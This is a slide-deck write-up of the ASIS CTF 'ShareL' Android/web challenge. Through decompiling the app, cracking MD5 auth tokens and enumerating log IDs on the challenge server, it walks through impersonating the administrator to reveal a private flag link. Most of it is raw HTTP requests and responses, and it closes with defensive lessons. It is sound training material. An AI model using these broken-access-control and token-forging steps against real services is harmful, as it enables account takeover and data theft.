



# ASIS CTF - SHAREL

Christoph Werner

# GENERAL INFOS

- Web challenge
- Solves: 7
- Description:

**This is a sharing link system, can you see the administrator's private shares?**

- .txz file with a .apk file in it given

# DEMO

Let's explore the app



# ANDROID USEFUL COMMANDS

- Get list of AVDs (Android Virtual Device): `emulator -list-avds`
- Start AVD and store network traffic: `emulator -tcpdump dump.cap -avd <AVD>`
- You can then open `dump.cap` with e.g. Wireshark



# SO WE HAVE A .APK

- Lets decompile it: `jadx --deobf sharel.apk`
- <https://github.com/skylot/jadx>
- The app showed the message “Registering New Device ...”
  - let's find it in the source code

# DEMO

Let's explore the source code

# FINDINGS

- Utils.java
  - public static String BASE\_URL = "<http://66.172.33.148:5001>";
- SplashScreen.java
  - different behaviour if phone is rooted
    - rooted: `aPIInterFace.regNewDev(sb.toString(), sha1Hash);`
    - otherwise: `aPIInterFace.regNewDev(md5, sb2.toString());`

```
@GET("api/users/register/{md}/{rnd}")
```

```
Call<NewDevice> regNewDev(@Path("md") String str, @Path("rnd") String str2);
```



# REGISTER WITH MD5

GET /api/users/register/**c515834365310176f8117a18bb5ad994/280454512** HTTP/1.1

Host: 66.172.33.148:5001

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.10.0

HTTP/1.1 200 OK

Server: nginx/1.15.8

Date: Mon, 18 Nov 2019 08:34:46 GMT

Content-Type: application/json

Content-Length: 81

Connection: close

{"code":200,"data":{"auth\_hash":"**4f9dd56abac816f917c720a7c46d4044**","user\_id":6}}

# ShareL

WHOAMI

SHARE LINK

TOP USER

MY LINKS

# VISITING WHOAMI

GET /api/users/me HTTP/1.1

**auth-token:** 6.4f9dd56abac816f917c720a7c46d4044

**device-id:** c515834365310176f8117a18bb5ad994

Content-Type: application/json

Host: 66.172.33.148:5001

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.10.0

HTTP/1.1 200 OK

Server: nginx/1.15.8

Date: Mon, 18 Nov 2019 06:00:44 GMT

Content-Type: application/json

Content-Length: 70

Connection: close

```
{"code":200,"data":{"links":0,"user_id":7,"user_type":"Normal user"}}
```

# SO WHAT IS THE AUTH-TOKEN?

<https://www.cmd5.org/>

Hash: 6.4f9dd56abac816f917c720a7c46d4044

Type: auto

**decrypt**

Encrypt

Result:

280454512

# SO WHAT NOW?

Let's see if we can find something different...

# GETTING ALL LOGS

GET /logs/user\_id/6 HTTP/1.1

auth-token: 6.4f9dd56abac816f917c720a7c46d4044

device-id: c515834365310176f8117a18bb5ad994

...

HTTP/1.1 200 OK

Server: nginx/1.15.8

Date: Mon, 18 Nov 2019 08:52:40 GMT

Content-Type: application/json

Content-Length: 159

Connection: close

```
{"code":200,"data":[{"log_details":"user_id(6) created by  
auth_hash(4f9dd56abac816f917c720a7c46d4044)","log_id":37,"log_name":"application  
log","user_id":6}]}
```

# TRYING LOG IDS

```
GET /logs/all/log_id/37 HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 2
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
```

Returned same result as before.  
But the logs with the IDs **23** and **28** are interesting.

```
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Sat, 16 Nov 2019 11:33:45 GMT
Content-Type: application/json
Content-Length: 166
Connection: close
{"code":200,"data":{"logs":{"log_details":"user_id(1) created by
auth_hash(7974d396f5cfcdbe3433037c11e819ca) ","log_id":23,"log_name":"application
log","user_id":1}}}
```

-----

```
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Thu, 14 Nov 2019 11:47:19 GMT
Content-Type: application/json
Content-Length: 149
Connection: close
{"code":200,"data":{"logs":{"log_details":"user_id(1) shared a private link named
test","log_id":28,"log_name":"application log","user_id":1}}}
```



# WHAT DO WE HAVE?

- The auth hash decoded is: 493291123
- Link name: test

# LETS CALL `/API/LINK/MYLINKS` WITH AUTH TOKEN

HTTP/1.1 200 OK

Server: nginx/1.15.8

Date: Mon, 18 Nov 2019 10:36:35 GMT

Content-Type: application/json

Content-Length: 98

Connection: close

```
{"code":401,"data":{"msg":"Device-Id(c515834365310176f8117a18bb5ad994) mismatch for  
user_id(1)"}}}
```

WELL...



# SHARING WITH MYSELF

POST /api/links/share/private HTTP/1.1

auth-token: 1.7974d396f5cfcdbe3433037c11e819ca

device-id: c515834365310176f8117a18bb5ad994

...

{"link\_name":"test","random\_number":493291123,"share\_user\_id": 6,"user\_id":1}

HTTP/1.1 200 OK

Server: nginx/1.15.8

Date: Mon, 18 Nov 2019 11:03:05 GMT

Content-Type: application/json

Content-Length: 101

Connection: close

{"code":200,"data":{"msg":"the user\_id(6) can view the link by  
/api/link/preview/1/493291123/test"}}

# THE RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 11:05:50 GMT
Content-Type: application/json
Content-Length: 66
Connection: close
{"code":200,"data":{"link":"https://ShareL.tld/test_admin_link"}}
```

gives

```
{"code":200,"data":{"test":"keep going :) "}}
```

# WE NEED TO FIND THE OTHER LINKS

```
POST /api/links/share HTTP/1.1
auth-token: 1.7974d396f5cfcdbe3433037c11e819ca
device-id: c515834365310176f8117a18bb5ad994
...
{"link":"test","link_name":"test","private":1}
```

```
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 11:08:49 GMT
Content-Type: application/json
Content-Length: 134
Connection: close
{"code":400,"data":{"err":"you cannot pick the link name which has already exists
['test', 'google', 'thef14g_Not3', 'a', 'local']"}}
```

# LET'S GET THE FLAG

first sharing and then reading gives

```
HTTP/1.1 200 OK
Server: nginx/1.15.8
...
{"code":200,"data":{"link":"https://ShareL.tld/fL/r34d_me"}}
```

```
GET /fL/r34d_me HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
...
```

gives

```
{"code":200,"data":{"flag":"ASIS{34f9266d60f7eb45a8f29796e44853eb}"}}
```

# LEARNINGS

- don't use user info for auth tokens (generate random auth tokens)
- correctly secure endpoints and always validate if user has access
- don't use MD5 or SHA1
- use UUIDs instead of numbers starting from 1





THANK YOU!

Writeup used:

<https://medium.com/bugbountywriteup/asis-ctf-sharel-walkthrough-da32f3533b40>